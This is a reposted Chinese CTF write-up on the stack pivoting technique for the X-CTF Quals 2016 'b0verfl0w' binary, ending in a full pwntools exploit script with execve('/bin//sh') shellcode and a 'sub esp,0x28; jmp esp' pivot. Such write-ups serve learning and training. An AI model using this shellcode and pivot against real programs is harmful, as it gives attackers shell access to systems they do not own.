码迷,mamicode.com
首页 > 其他好文 > 详细

stack pivoting

时间:2019-11-24 11:38:41      阅读:96      评论:0      收藏:0      [点我收藏+]

标签:tran   ack   active   strong   payload   技术   jmp   int   返回   

stack pivoting 翻为堆栈旋转 操作是利用‘ jmp esp‘ 控制程序流程

 X-CTF Quals 2016 - b0verfl0w

技术图片

 

 

可以溢出并且没有开启NX

 

 

技术图片

 

但是这里只允许溢出14位 很难进行rop

那么可以在栈上布置shelcode

现在的目标就是让eip跳到栈上shelcode位置

因为程序本身会开启 ASLR 保护 我们很难知道栈上的地址

又退栈的时候esp相对shellcode偏移可以计算 也就是0x20+p32(_ebp)+p32(ret_addr)=0x28

因为eip会返回到ret_addr 我们将‘jmp esp’ 作为ret_addr 那么程序就等价于执行ret_addr的下面一个语句

找一下jmp

技术图片

 

然后 esp减0x28 然后跳转到esp去执行shellcode

from pwn import *

io=process(./flow)

shellcode= "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode+= "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode+= "\x0b\xcd\x80"
# shellcode=asm(shellcraft.sh())

jmp_esp=0x08048504

sub_esp_jmp=asm(sub esp,0x28;jmp esp)

payload=shellcode+(0x20-len(shellcode))*A
payload+=A*4+p32(jmp_esp)+sub_esp_jmp

io.sendline(payload)

io.interactive()

 

 

 

stack pivoting

标签:tran   ack   active   strong   payload   技术   jmp   int   返回   

原文地址:https://www.cnblogs.com/lxy8584099/p/11921419.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!